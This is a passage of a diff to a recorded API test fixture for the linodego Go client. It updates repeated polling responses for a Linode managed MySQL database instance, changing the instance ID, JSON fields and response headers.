"lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 2, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -14236,16 +18877,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "716" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:45:09 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -14261,7 +18905,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -14277,17 +18921,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 2, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -14300,16 +18945,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "716" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:45:24 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -14325,7 +18973,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -14341,17 +18989,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 2, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -14364,16 +19013,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "716" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:45:39 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -14389,7 +19041,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -14405,17 +19057,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 2, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -14428,16 +19081,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "716" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:45:54 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -14453,7 +19109,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -14469,17 +19125,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 2, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -14492,16 +19149,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "716" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:46:09 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -14517,7 +19177,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -14533,17 +19193,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 2, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -14556,16 +19217,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "716" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:46:24 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -14581,7 +19245,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -14597,17 +19261,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 2, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -14620,16 +19285,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "716" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:46:39 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -14645,7 +19313,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -14661,17 +19329,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 2, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -14684,16 +19353,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "716" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:46:54 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -14709,7 +19381,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -14725,17 +19397,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 2, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -14748,16 +19421,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "716" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:47:09 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -14773,7 +19449,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -14789,17 +19465,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 2, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -14812,16 +19489,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "716" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:47:24 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -14837,7 +19517,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -14853,17 +19533,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 2, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -14876,16 +19557,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "716" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:47:39 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -14901,7 +19585,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -14917,17 +19601,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 2, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -14940,16 +19625,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "716" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:47:54 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -14965,7 +19653,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -14981,17 +19669,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 2, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -15004,16 +19693,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "716" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:48:09 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -15029,7 +19721,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -15045,17 +19737,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": 